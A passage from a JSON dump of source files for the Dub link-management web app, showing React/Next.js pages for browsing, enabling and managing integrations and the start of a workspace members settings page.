-translate-y-0.5 border-0\"\n                        />{\" \"}\n                        {integration.installed.by.name}\n                        <span className=\"ml-1 font-normal text-neutral-600\">\n                          {formatDate(integration.installed.createdAt, {\n                            month: \"short\",\n                            year:\n                              integration.installed.createdAt.getFullYear() ===\n                              new Date().getFullYear()\n                                ? undefined\n                                : \"numeric\",\n                          })}\n                        </span>\n                      </span>\n                    ),\n                  },\n                ]\n              : []),\n            {\n              label: \"Built by\",\n              content: (\n                <div className=\"flex items-center gap-1.5 text-sm font-medium text-neutral-700\">\n                  {integration.projectId === DUB_WORKSPACE_ID ? (\n                    <Logo className=\"size-3.5\" />\n                  ) : (\n                    <OfficeBuilding className=\"size-3.5\" />\n                  )}\n                  {integration.developer}\n                </div>\n              ),\n            },\n            {\n              label: \"Website\",\n              content: (\n                <a\n                  href={integration.website}\n                  className=\"flex items-center gap-1.5 text-sm text-neutral-700 transition-colors duration-100 hover:text-neutral-900\"\n                  target=\"_blank\"\n                  rel=\"noopener noreferrer\"\n                >\n                  <Globe className=\"size-3.5\" />\n                  {getDomainWithoutWWW(integration.website)}\n                </a>\n              ),\n            },\n          ].map(({ label, content }) => (\n            <div key={label} className=\"flex flex-col gap-1\">\n              <span className=\"text-xs uppercase text-neutral-500\">\n                {label}\n              </span>\n              <div className=\"text-[0.8125rem] font-medium text-neutral-600\">\n                {content}\n              </div>\n            </div>\n          ))}\n        </div>\n\n        <div className=\"flex items-center gap-x-2\">\n          {slug === \"dub\" && (\n            <Link\n              href={`/${slug}/settings/integrations/${integration.slug}/manage`}\n              className={cn(\n                buttonVariants({ variant: \"secondary\" }),\n                \"flex h-9 items-center rounded-md border px-4 text-sm\",\n              )}\n            >\n              Manage\n            </Link>\n          )}\n          {!integration.installed &&\n            integration.id !== SEGMENT_INTEGRATION_ID && (\n              <Button\n                onClick={() => {\n                  const { installUrl } = integration;\n\n                  if (installUrl) {\n                    // open in a new tab\n                    window.open(installUrl, \"_blank\");\n                    return;\n                  }\n\n                  execute({\n                    workspaceId: workspaceId!,\n                    integrationSlug: integration.slug,\n                  });\n                }}\n                loading={isPending}\n                text=\"Enable\"\n                variant=\"primary\"\n                className=\"h-9 px-3\"\n                icon={<ConnectedDots className=\"size-4\" />}\n                disabledTooltip={\n                  integration.id === HUBSPOT_INTEGRATION_ID &&\n                  plan &&\n                  [\"free\", \"pro\"].includes(plan) ? (\n                    <TooltipContent\n                      title=\"Hubspot integration is only available on Business plans and above. Upgrade to get started.\"\n                      cta=\"Upgrade to Business\"\n                      href={`/${slug}/settings/billing/upgrade`}\n                    />\n                  ) : null\n                }\n              />\n            )}\n        </div>\n      </div>\n\n      <div className=\"w-full rounded-lg border border-neutral-200 bg-white\">\n        {integration.screenshots && integration.screenshots.length > 0 ? (\n          <Carousel autoplay={{ delay: 5000 }}>\n            <div className=\"relative rounded-t-lg bg-white p-4\">\n              <CarouselContent>\n                {integration.screenshots.map((src, idx) => (\n                  <CarouselItem key={idx}>\n                    <BlurImage\n                      src={src}\n                      alt={`Screenshot ${idx + 1} of ${integration.name}`}\n                      width={900}\n                      height={580}\n                      className=\"aspect-[900/580] w-[5/6] overflow-hidden rounded-md border border-neutral-200 object-cover object-top\"\n                    />\n                  </CarouselItem>\n                ))}\n              </CarouselContent>\n              <CarouselNavBar\n                variant=\"simple\"\n                className=\"absolute bottom-6 left-1/2 -translate-x-1/2\"\n              />\n            </div>\n            {!isMobile && (\n              <div className=\"relative\">\n                <CarouselThumbnails className=\"py-0.5\">\n                  {integration.screenshots.map((src, idx) => (\n                    <CarouselThumbnail\n                      key={idx}\n                      index={idx}\n                      className={({ active }) =>\n                        cn(\n                          \"aspect-[900/580] h-[100px] shrink-0 select-none overflow-hidden rounded-[6px] border\",\n                          \"border-neutral-200 ring-2 ring-transparent transition-all duration-100\",\n                          active\n                            ? \"border-neutral-300 ring-black/10\"\n                            : \"hover:ring-black/5\",\n                        )\n                      }\n                    >\n                      <BlurImage\n                        src={src}\n                        alt={`Screenshot ${idx + 1} thumbnail`}\n                        width={900}\n                        height={580}\n                        className=\"overflow-hidden rounded-[5px] object-cover object-top\"\n                      />\n                    </CarouselThumbnail>\n                  ))}\n                </CarouselThumbnails>\n\n                <div className=\"absolute inset-y-0 left-0 w-4 bg-gradient-to-r from-white\" />\n                <div className=\"absolute inset-y-0 right-0 w-4 bg-gradient-to-l from-white\" />\n              </div>\n            )}\n          </Carousel>\n        ) : null}\n\n        {integration.readme && (\n          <Markdown className=\"p-6\">{integration.readme}</Markdown>\n        )}\n      </div>\n\n      {SettingsComponent && <SettingsComponent {...integration} />}\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/[integrationSlug]/page.tsx",
    "content": "import { prisma } from \"@dub/prisma\";\nimport { HUBSPOT_INTEGRATION_ID } from \"@dub/utils/src\";\nimport { redirect } from \"next/navigation\";\nimport IntegrationPageClient from \"./page-client\";\n\nexport const revalidate = 0;\n\nexport default async function IntegrationPage(props: {\n  params: Promise<{ slug: string; integrationSlug: string }>;\n}) {\n  const params = await props.params;\n  const integration = await prisma.integration.findUnique({\n    where: {\n      slug: params.integrationSlug,\n    },\n    include: {\n      installations: {\n        where: {\n          project: {\n            slug: params.slug,\n          },\n        },\n        include: {\n          user: {\n            select: {\n              id: true,\n              name: true,\n              email: true,\n              image: true,\n            },\n          },\n          webhooks: {\n            select: {\n              id: true,\n            },\n          },\n        },\n      },\n    },\n  });\n\n  if (\n    !integration ||\n    (integration.comingSoon && integration.id !== HUBSPOT_INTEGRATION_ID)\n  ) {\n    redirect(`/${params.slug}/settings/integrations`);\n  }\n\n  if (integration.guideUrl) {\n    redirect(integration.guideUrl);\n  }\n\n  const installed = integration.installations.length > 0;\n\n  const credentials = installed\n    ? integration.installations[0]?.credentials\n    : undefined;\n\n  const settings = installed\n    ? integration.installations[0]?.settings\n    : undefined;\n\n  // TODO:\n  // Fix this, we only displaying the first webhook only\n  const webhookId = installed\n    ? integration.installations[0]?.webhooks[0]?.id\n    : undefined;\n\n  return (\n    <IntegrationPageClient\n      integration={{\n        ...integration,\n        screenshots: integration.screenshots as string[],\n        installed: installed\n          ? {\n              id: integration.installations[0].id,\n              by: {\n                id: integration.installations[0].userId,\n                name: integration.installations[0].user.name,\n                email: integration.installations[0].user.email,\n                image: integration.installations[0].user.image,\n              },\n              createdAt: integration.installations[0].createdAt,\n            }\n          : null,\n        credentials,\n        settings,\n        webhookId,\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/enabled/page.tsx",
    "content": "import { IntegrationLogo } from \"@/ui/integrations/integration-logo\";\nimport LayoutLoader from \"@/ui/layout/layout-loader\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { prisma } from \"@dub/prisma\";\nimport { ConnectedDots } from \"@dub/ui\";\nimport { cn, formatDate, truncate } from \"@dub/utils\";\nimport { ChevronRight } from \"lucide-react\";\nimport Link from \"next/link\";\nimport { Suspense } from \"react\";\n\nexport const dynamic = \"force-dynamic\";\nexport const revalidate = 0;\n\nexport default async function EnabledIntegrationsPage(props: {\n  params: Promise<{ slug: string }>;\n}) {\n  const params = await props.params;\n  return (\n    <div className=\"mx-auto flex w-full max-w-screen-md flex-col gap-8\">\n      <BackLink href={`/${params.slug}/settings/integrations`}>\n        Integrations\n      </BackLink>\n      <h1 className=\"text-2xl font-semibold tracking-tight text-black\">\n        Enabled Integrations\n      </h1>\n      <Suspense fallback={<LayoutLoader />}>\n        <EnabledIntegrationsPageRSC slug={params.slug} />\n      </Suspense>\n    </div>\n  );\n}\n\nasync function EnabledIntegrationsPageRSC({ slug }: { slug: string }) {\n  const integrations = await prisma.integration.findMany({\n    where: {\n      verified: true,\n      installations: {\n        some: {\n          project: {\n            slug,\n          },\n        },\n      },\n    },\n    include: {\n      installations: {\n        where: {\n          project: {\n            slug,\n          },\n        },\n        include: {\n          user: true,\n        },\n      },\n    },\n  });\n\n  if (!integrations || integrations.length === 0) {\n    return (\n      <AnimatedEmptyState\n        title=\"No integrations enabled\"\n        description=\"When you enable an integration, it will appear here.\"\n        cardContent={\n          <>\n            <ConnectedDots className=\"size-4 text-neutral-700\" />\n            <div className=\"h-2.5 w-24 min-w-0 rounded-sm bg-neutral-200\" />\n          </>\n        }\n        className=\"min-h-[400px]\"\n      />\n    );\n  }\n\n  return (\n    <ul className=\"flex flex-col gap-2\">\n      {integrations.map((integration) => {\n        const installation = integration.installations?.[0];\n        const installerName =\n          installation?.user?.name || installation?.user?.email;\n\n        return (\n          <li key={integration.id}>\n            <Link\n              href={`/${slug}/settings/integrations/${integration?.slug}`}\n              className={cn(\n                \"group flex items-center justify-between rounded-lg border border-neutral-200 p-3 pr-5 text-sm\",\n                \"transition-colors duration-75 hover:bg-neutral-50\",\n              )}\n            >\n              <div className=\"flex min-w-0 items-center justify-between gap-3\">\n                <IntegrationLogo\n                  src={integration.logo}\n                  alt={`Logo for ${integration.name}`}\n                  className=\"size-10\"\n                />\n\n                <div className=\"flex min-w-0 flex-col\">\n                  <span className=\"text-sm font-medium text-neutral-800\">\n                    {integration.name}\n                  </span>\n                  {installation && (\n                    <span className=\"truncate text-[0.8125rem] text-neutral-500\">\n                      Enabled{\" \"}\n                      {installerName ? (\n                        <>\n                          by{\" \"}\n                          <UserAvatar\n                            user={installation.user}\n                            className=\"inline-block size-3 -translate-y-0.5 border-0\"\n                          />{\" \"}\n                          <span className=\"text-neutral-600\">\n                            {truncate(installerName, 24)}\n                          </span>{\" \"}\n                        </>\n                      ) : null}\n                      {formatDate(installation.createdAt, {\n                        month: \"short\",\n                        year: \"numeric\",\n                      })}\n                    </span>\n                  )}\n                </div>\n              </div>\n              <ChevronRight className=\"size-4 shrink-0 text-neutral-400 transition-all duration-150 group-hover:translate-x-0.5 group-hover:text-neutral-600\" />\n            </Link>\n          </li>\n        );\n      })}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/enabled-integrations.tsx",
    "content": "\"use client\";\n\nimport useIntegrations from \"@/lib/swr/use-integrations\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { IntegrationLogo } from \"@/ui/integrations/integration-logo\";\nimport { Integration } from \"@dub/prisma/client\";\nimport { cn } from \"@dub/utils\";\nimport { ChevronRight } from \"lucide-react\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\nimport { IntegrationsWithInstallations } from \"./integrations-list\";\n\nexport function EnabledIntegrations({\n  integrations,\n}: {\n  integrations: IntegrationsWithInstallations;\n}) {\n  const searchParams = useSearchParams();\n  const search = searchParams.get(\"search\");\n\n  const { slug } = useWorkspace();\n  const { integrations: activeIntegrations } = useIntegrations();\n\n  const enabledIntegrations = integrations.filter((i) =>\n    activeIntegrations?.some((ai) => ai.id === i.id),\n  );\n\n  return enabledIntegrations?.length ? (\n    <AnimatePresence initial={false}>\n      {!search && (\n        <motion.div\n          key=\"enabled-integrations\"\n          initial={{ opacity: 0, translateY: 10 }}\n          animate={{ opacity: 1, translateY: 0 }}\n          exit={{ opacity: 0, translateY: 10 }}\n          transition={{ duration: 0.1 }}\n        >\n          <div className=\"flex items-center justify-between text-sm\">\n            <h2 className=\"font-medium leading-4 text-neutral-800\">\n              Enabled integrations\n            </h2>\n            <Link\n              href={`/${slug}/settings/integrations/enabled`}\n              className=\"font-medium leading-4 text-neutral-500 transition-colors duration-100 hover:text-neutral-700\"\n            >\n              View all ({enabledIntegrations.length})\n            </Link>\n          </div>\n          <ul className=\"mt-4 divide-y divide-neutral-200 overflow-hidden rounded-lg border border-neutral-200\">\n            {enabledIntegrations.slice(0, 3).map((integration) => (\n              <li key={integration.id}>\n                <IntegrationRow integration={integration} />\n              </li>\n            ))}\n          </ul>\n        </motion.div>\n      )}\n    </AnimatePresence>\n  ) : null;\n}\n\nfunction IntegrationRow({ integration }: { integration: Integration }) {\n  const { slug } = useWorkspace();\n\n  return (\n    <Link\n      href={`/${slug}/settings/integrations/${integration?.slug}`}\n      className={cn(\n        \"group flex items-center justify-between p-3 pr-5 text-sm\",\n        \"transition-colors duration-75 hover:bg-neutral-50\",\n      )}\n    >\n      <div className=\"flex items-center justify-between gap-3\">\n        <IntegrationLogo\n          src={integration.logo}\n          alt={`Logo for ${integration.name}`}\n        />\n\n        <span className=\"text-sm font-medium text-neutral-800\">\n          {integration.name}\n        </span>\n      </div>\n      <ChevronRight className=\"size-4 text-neutral-400 transition-all duration-150 group-hover:translate-x-0.5 group-hover:text-neutral-600\" />\n    </Link>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/featured-integrations.tsx",
    "content": "\"use client\";\n\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { IntegrationLogo } from \"@/ui/integrations/integration-logo\";\nimport {\n  BlurImage,\n  Carousel,\n  CarouselApi,\n  CarouselContent,\n  CarouselItem,\n  useCarousel,\n} from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport Link from \"next/link\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useCallback, useEffect, useState } from \"react\";\nimport { IntegrationsWithInstallations } from \"./integrations-list\";\n\nconst FEATURED_SLUGS = [\"make\", \"zapier\", \"stripe\", \"shopify\"];\n\nexport function FeaturedIntegrations({\n  integrations,\n}: {\n  integrations: IntegrationsWithInstallations;\n}) {\n  const searchParams = useSearchParams();\n  const search = searchParams.get(\"search\");\n\n  const { slug } = useWorkspace();\n\n  const featuredIntegrations = integrations.filter(\n    (i) =>\n      FEATURED_SLUGS.includes(i.slug) &&\n      Array.isArray(i.screenshots) &&\n      i.screenshots.length,\n  );\n\n  return (\n    <AnimatePresence initial={false}>\n      {!search && (\n        <motion.div\n          key=\"featured-integrations\"\n          initial={{ opacity: 0, translateY: 10 }}\n          animate={{ opacity: 1, translateY: 0 }}\n          exit={{ opacity: 0, translateY: 10 }}\n          transition={{ duration: 0.1 }}\n        >\n          <Carousel\n            autoplay={{ delay: 5000 }}\n            opts={{ loop: true }}\n            className=\"bg-white\"\n          >\n            <div className=\"[mask-image:linear-gradient(90deg,transparent,black_8%,black_92%,transparent)]\">\n              <CarouselContent>\n                {featuredIntegrations.map((integration, idx) => (\n                  <CarouselItem key={idx} className=\"basis-2/3\">\n                    <Link\n                      href={`/${slug}/settings/integrations/${integration.slug}`}\n                      className=\"group relative block\"\n                    >\n                      {/* Image */}\n                      <div className=\"overflow-hidden rounded-xl border border-neutral-200 bg-white\">\n                        <BlurImage\n                          src={integration.screenshots![0]}\n                          alt={`Screenshot of ${integration.name}`}\n                          width={900}\n                          height={580}\n                          className=\"aspect-[900/580] w-full overflow-hidden rounded-xl object-cover object-top [mask-image:linear-gradient(black_90%,transparent)]\"\n                        />\n                      </div>\n\n                      {/* Category badge */}\n                      <div className=\"absolute left-4 top-4 rounded bg-white px-2 py-1 text-[0.625rem] font-semibold uppercase text-neutral-800 shadow-[0_2px_2px_0_#00000014]\">\n                        {integration.category}\n                      </div>\n\n                      {/* Bottom card */}\n                      <div className=\"absolute inset-x-4 bottom-4 hidden items-center gap-3 rounded-lg bg-white p-3 transition-all duration-100 group-hover:drop-shadow-sm sm:flex\">\n                        <div className=\"shrink-0\">\n                          <IntegrationLogo\n                            src={integration.logo}\n                            alt={`Logo for ${integration.name}`}\n                            className=\"size-12\"\n                          />\n                        </div>\n                        <div className=\"flex flex-col\">\n                          <span className=\"text-base font-medium text-neutral-900\">\n                            {integration.name}\n                          </span>\n                          <p className=\"line-clamp-2 text-sm font-medium text-neutral-700\">\n                            {integration.description}\n                          </p>\n                        </div>\n                      </div>\n                    </Link>\n                  </CarouselItem>\n                ))}\n              </CarouselContent>\n            </div>\n            <CarouselNavBar featuredIntegrations={featuredIntegrations} />\n          </Carousel>\n        </motion.div>\n      )}\n    </AnimatePresence>\n  );\n}\n\nfunction CarouselNavBar({\n  featuredIntegrations,\n}: {\n  featuredIntegrations: IntegrationsWithInstallations;\n}) {\n  const { api } = useCarousel();\n\n  const autoplay = api?.plugins()?.autoplay;\n\n  const [selectedIndex, setSelectedIndex] = useState(0);\n\n  const onSelect = useCallback((api: CarouselApi) => {\n    setSelectedIndex(api?.selectedScrollSnap() ?? 0);\n  }, []);\n\n  const stopAutoplayAnd = useCallback(\n    (fn: () => void) => () => {\n      if (autoplay && autoplay.isPlaying()) autoplay.stop();\n      fn();\n    },\n    [autoplay],\n  );\n\n  useEffect(() => {\n    if (!api) return;\n\n    onSelect(api);\n    api.on(\"reInit\", onSelect);\n    api.on(\"select\", onSelect);\n  }, [api, autoplay, onSelect]);\n\n  return (\n    <div className=\"relative mt-6 flex items-center justify-center gap-4 pb-1\">\n      {api != null && (\n        <>\n          {api.slideNodes().map((_, idx) => {\n            const integration = featuredIntegrations[idx];\n\n            return (\n              <button\n                key={idx}\n                onClick={stopAutoplayAnd(() => api.scrollTo(idx))}\n                className={cn(\n                  \"rounded-md ring-black/10 transition-all duration-100 hover:scale-105 active:scale-100\",\n                  idx === selectedIndex && \"ring-[3px]\",\n                )}\n              >\n                <IntegrationLogo\n                  src={integration.logo}\n                  alt={`Logo for ${integration.name}`}\n                />\n                <span className=\"sr-only\">Slide {idx + 1}</span>\n              </button>\n            );\n          })}\n        </>\n      )}\n    </div>\n  );\n}\n\nexport function FeaturedIntegrationsLoader() {\n  return (\n    <div>\n      <div className=\"overflow-hidden\">\n        <div className=\"-ml-4 flex -translate-x-1/2\">\n          {[...Array(3)].map((_, idx) => (\n            <div key={idx} className=\"min-w-0 shrink-0 grow-0 basis-2/3 pl-4\">\n              <div className=\"border border-transparent\">\n                <div className=\"aspect-[900/580] animate-pulse rounded-lg bg-neutral-200\" />\n              </div>\n            </div>\n          ))}\n        </div>\n      </div>\n      <div className=\"mt-6 flex items-center justify-center gap-4 pb-1\">\n        {[...Array(4)].map((_, idx) => (\n          <div\n            key={idx}\n            className=\"size-8 animate-pulse rounded-lg bg-neutral-200\"\n          />\n        ))}\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/integrations-cards.tsx",
    "content": "\"use client\";\n\nimport IntegrationCard from \"@/ui/integrations/integration-card\";\nimport { AnimatedEmptyState } from \"@/ui/shared/animated-empty-state\";\nimport { buttonVariants, Plus } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { AnimatePresence, motion } from \"motion/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { IntegrationsWithInstallations } from \"./integrations-list\";\n\nconst CATEGORY_ORDER = [\n  \"Payments\",\n  \"Automations\",\n  \"Analytics\",\n  \"Scheduling\",\n  \"Authentication\",\n  \"Social Media\",\n  \"Productivity\",\n  \"CMS\",\n  \"Miscellaneous\",\n] as const;\n\nconst PRESENCE_ANIMATION = {\n  initial: { opacity: 0, translateY: 10 },\n  animate: { opacity: 1, translateY: 0 },\n  exit: { opacity: 0, translateY: 10 },\n  transition: { duration: 0.1 },\n};\n\nexport function IntegrationsCards({\n  integrations,\n}: {\n  integrations: IntegrationsWithInstallations;\n}) {\n  const searchParams = useSearchParams();\n  const search = searchParams.get(\"search\");\n\n  const groupedIntegrations = integrations\n    .filter(\n      (i) => !search || i.name.toLowerCase().includes(search.toLowerCase()),\n    )\n    .reduce(\n      (acc, integration) => {\n        const category = integration.category || \"Miscellaneous\";\n        acc[category] = acc[category] || [];\n        acc[category].push(integration);\n        return acc;\n      },\n      {} as Record<string, IntegrationsWithInstallations>,\n    );\n\n  // Sort integrations within each category\n  Object.keys(groupedIntegrations).forEach((category) => {\n    groupedIntegrations[category].sort((a, b) => {\n      // Put \"coming soon\" integrations at the end\n      if (a.comingSoon && !b.comingSoon) return 1;\n      if (!a.comingSoon && b.comingSoon) return -1;\n      // Sort by installation count in descending order\n      return (b._count.installations || 0) - (a._count.installations || 0);\n    });\n  });\n\n  const categories = Object.keys(groupedIntegrations).sort(\n    (a, b) =>\n      CATEGORY_ORDER.indexOf(a as any) - CATEGORY_ORDER.indexOf(b as any),\n  );\n\n  return (\n    <AnimatePresence initial={false} mode=\"wait\">\n      <>\n        {categories.length > 0 && (\n          <motion.div\n            key={search}\n            {...PRESENCE_ANIMATION}\n            className=\"flex flex-col gap-12\"\n          >\n            {categories.map((category) => (\n              <div key={category}>\n                <h2 className=\"font-medium leading-4 text-neutral-800\">\n                  {category}\n                </h2>\n                <div className=\"mt-4 grid gap-3 sm:grid-cols-2 xl:grid-cols-3\">\n                  {groupedIntegrations[category]!.map((integration) => (\n                    <IntegrationCard\n                      key={integration.id}\n                      {...integration}\n                      installations={integration._count.installations}\n                    />\n                  ))}\n                </div>\n              </div>\n            ))}\n          </motion.div>\n        )}\n        {!categories.length && (\n          <motion.div key=\"empty\" {...PRESENCE_ANIMATION}>\n            <AnimatedEmptyState\n              className=\"-mt-2\"\n              title=\"Integration not found\"\n              description=\"Let us know if you'd like to see it in the future.\"\n              cardContent={() => (\n                <div className=\"flex h-24 w-full items-center justify-center sm:h-32\">\n                  <div className=\"rounded-xl bg-neutral-100/50 p-4\">\n                    <Plus className=\"size-4 text-neutral-700\" />\n                  </div>\n                </div>\n              )}\n              addButton={\n                <a\n                  href=\"https://dub.co/support\"\n                  className={cn(\n                    buttonVariants({ variant: \"primary\" }),\n                    \"flex h-8 items-center rounded-md border px-2.5 text-sm\",\n                  )}\n                >\n                  Request integration\n                </a>\n              }\n            />\n          </motion.div>\n        )}\n      </>\n    </AnimatePresence>\n  );\n}\n\nexport function IntegrationsCardsLoader() {\n  return [...Array(3)].map((_, idx) => (\n    <div key={idx}>\n      <div className=\"h-4 w-24 animate-pulse rounded-md bg-neutral-200\" />\n      <div className=\"mt-4 grid gap-3 sm:grid-cols-2 xl:grid-cols-3\">\n        {[...Array(3)].map((_, idx) => (\n          <div\n            key={idx}\n            className=\"h-[170px] animate-pulse rounded-lg bg-neutral-200\"\n          />\n        ))}\n      </div>\n    </div>\n  ));\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/integrations-list.tsx",
    "content": "import { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { prisma } from \"@dub/prisma\";\nimport { Integration } from \"@dub/prisma/client\";\nimport { Suspense } from \"react\";\nimport { EnabledIntegrations } from \"./enabled-integrations\";\nimport {\n  FeaturedIntegrations,\n  FeaturedIntegrationsLoader,\n} from \"./featured-integrations\";\nimport {\n  IntegrationsCards,\n  IntegrationsCardsLoader,\n} from \"./integrations-cards\";\n\nexport async function IntegrationsList() {\n  return (\n    <div className=\"flex flex-col gap-12\">\n      <Suspense\n        fallback={\n          <>\n            <div className=\"box-content h-9 animate-pulse rounded-md bg-neutral-200 py-px\" />\n            <FeaturedIntegrationsLoader />\n            <IntegrationsCardsLoader />\n          </>\n        }\n      >\n        <IntegrationsListRSC />\n      </Suspense>\n    </div>\n  );\n}\n\nexport type IntegrationsWithInstallations = (Integration & {\n  _count: { installations: number };\n})[];\n\nasync function IntegrationsListRSC() {\n  const integrations = await prisma.integration.findMany({\n    where: {\n      verified: true,\n    },\n    include: {\n      _count: {\n        select: {\n          installations: true,\n        },\n      },\n    },\n  });\n\n  return (\n    <>\n      <SearchBoxPersisted debounceTimeoutMs={250} />\n      <EnabledIntegrations integrations={integrations} />\n      <FeaturedIntegrations integrations={integrations} />\n      <IntegrationsCards integrations={integrations} />\n    </>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/layout.tsx",
    "content": "import { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { ReactNode } from \"react\";\n\nexport default function IntegrationsLayout({\n  children,\n}: {\n  children: ReactNode;\n}) {\n  return (\n    <PageContent\n      title=\"Integrations\"\n      titleInfo={{\n        title:\n          \"Use Dub with your existing favorite tools with our seamless integrations.\",\n        href: \"https://d.to/integrations\",\n      }}\n    >\n      <PageWidthWrapper className=\"max-w-[800px] pb-20\">\n        {children}\n      </PageWidthWrapper>\n    </PageContent>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/new/page.tsx",
    "content": "import AddEditIntegrationForm from \"@/ui/oauth-apps/add-edit-integration-form\";\nimport { BackLink } from \"@/ui/shared/back-link\";\nimport { MaxWidthWrapper } from \"@dub/ui\";\nimport { redirect } from \"next/navigation\";\n\nexport default async function NewIntegrationsPage(props: {\n  params: Promise<{ slug: string }>;\n}) {\n  const params = await props.params;\n  // this is only available for Dub workspace for now\n  // we might open this up to other workspaces in the future\n  if (params.slug !== \"dub\") {\n    redirect(`/${params.slug}/settings/integrations`);\n  }\n  return (\n    <MaxWidthWrapper className=\"grid max-w-screen-lg gap-8\">\n      <BackLink href={`/${params.slug}/settings/integrations`}>\n        Back to integrations\n      </BackLink>\n\n      <AddEditIntegrationForm\n        integration={{\n          name: \"\",\n          slug: \"\",\n          description: \"\",\n          readme: \"\",\n          developer: \"\",\n          website: \"\",\n          logo: null,\n          projectId: \"\",\n          screenshots: [],\n          createdAt: new Date(),\n          updatedAt: new Date(),\n        }}\n      />\n    </MaxWidthWrapper>\n  );\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/integrations/page.tsx",
    "content": "import { IntegrationsList } from \"./integrations-list\";\n\nexport const revalidate = 300; // 5 minutes\n\nexport default function IntegrationsPage() {\n  return <IntegrationsList />;\n}\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/settings/members/page-client.tsx",
    "content": "\"use client\";\n\nimport { clientAccessCheck } from \"@/lib/client-access-check\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WorkspaceUserProps } from \"@/lib/types\";\nimport {\n  getAvailableRolesForPlan,\n  WORKSPACE_ROLES,\n} from \"@/lib/workspace-roles\";\nimport { PageContent } from \"@/ui/layout/page-content\";\nimport { PageWidthWrapper } from \"@/ui/layout/page-width-wrapper\";\nimport { useInviteCodeModal } from \"@/ui/modals/invite-code-modal\";\nimport { useInviteWorkspaceUserModal } from \"@/ui/modals/invite-workspace-user-modal\";\nimport { useRemoveWorkspaceUserModal } from \"@/ui/modals/remove-workspace-user-modal\";\nimport { useWorkspaceUserRoleModal } from \"@/ui/modals/update-workspace-user-role\";\nimport { SearchBoxPersisted } from \"@/ui/shared/search-box\";\nimport { UserAvatar } from \"@/ui/users/user-avatar\";\nimport { WorkspaceRole } from \"@dub/prisma/client\";\nimport {\n  Button,\n  Filter,\n  Popover,\n  Table,\n  useKeyboardShortcut,\n  usePagination,\n  useRouterStuff,\n  useTable,\n} from \"@dub/ui\";\nimport {\n  CircleCheck,\n  CircleDotted,\n  Dots,\n  EnvelopeArrowRight,\n  Icon,\n  Link4 as LinkIcon,\n  UserCheck,\n} from \"@dub/ui/icons\";\nimport { cn, fetcher, timeAgo } from \"@dub/utils\";\nimport { ColumnDef, Row } from \"@tanstack/react-table\";\nimport { Command } from \"cmdk\";\nimport { UserMinus } from \"lucide-react\";\nimport { useSession } from \"next-auth/react\";\nimport { useSearchParams } from \"next/navigation\";\nimport { useEffect, useMemo, useState } from \"react\";\nimport useSWR from \"swr\";\n\nexport function WorkspaceMembersClient() {\n  const { setShowInviteWorkspaceUserModal, InviteWorkspaceUserModal } =\n    useInviteWorkspaceUserModal({ showSavedInvites: true });\n\n  const { setShowInviteCodeModal, InviteCodeModal } = useInviteCodeModal();\n\n  const { role, plan } = useWorkspace();\n  const { data: session } = useSession();\n  const { id: workspaceId } = useWorkspace();\n\n  const { queryParams, searchParams } = useRouterStuff();\n  const { pagination, setPagination } = usePagination();\n\n  const status = searchParams.get(\"status\") as \"active\" | \"invited\" | null;\n  const roleFilter = searchParams.get(\"role\") as WorkspaceRole | null;\n  const search = searchParams.get(\"search\");\n\n  const {\n    data: users,\n    error,\n    isLoading: loading,\n  } = useSWR<WorkspaceUserProps[]>(\n    workspaceId &&\n      `/api/workspaces/${workspaceId}/${status === \"invited\" ? \"invites\" : \"users\"}?${new URLSearchParams(\n        {\n          ...(search && { search }),\n          ...(roleFilter && { role: roleFilter }),\n        } as Record<string, any>,\n      ).toString()}`,\n    fetcher,\n    {\n      keepPreviousData: true,\n    },\n  );\n\n  const { data: invitesForCount } = useSWR<WorkspaceUserProps[]>(\n    workspaceId ? `/api/workspaces/${workspaceId}/invites` : null,\n    fetcher,\n  );\n  const inviteCount = invitesForCount?.length ?? 0;\n\n  const availableRolesForPlan = useMemo(() => {\n    return getAvailableRolesForPlan(plan);\n  }, [plan]);\n\n  const isCurrentUserOwner = role === \"owner\";\n\n  const filters = useMemo(\n    () => [\n      {\n        key: \"role\",\n        icon: UserCheck,\n        label: \"Role\",\n        options: WORKSPACE_ROLES.filter(({ value }) =>\n          availableRolesForPlan.includes(value),\n        ).map(({ value, label, icon }) => ({\n          value,\n          label,\n          icon,\n        })),\n      },\n      {\n        key: \"status\",\n        icon: CircleDotted,\n        label: \"Status\",\n        options: [\n          {\n            value: \"active\",\n            label: \"Active\",\n            icon: (\n              <CircleCheck className=\"size-4 bg-green-100 bg-transparent text-green-600\" />\n            ),\n          },\n          {\n            value: \"invited\",\n            label: \"Invited\",\n            icon: (\n              <EnvelopeArrowRight 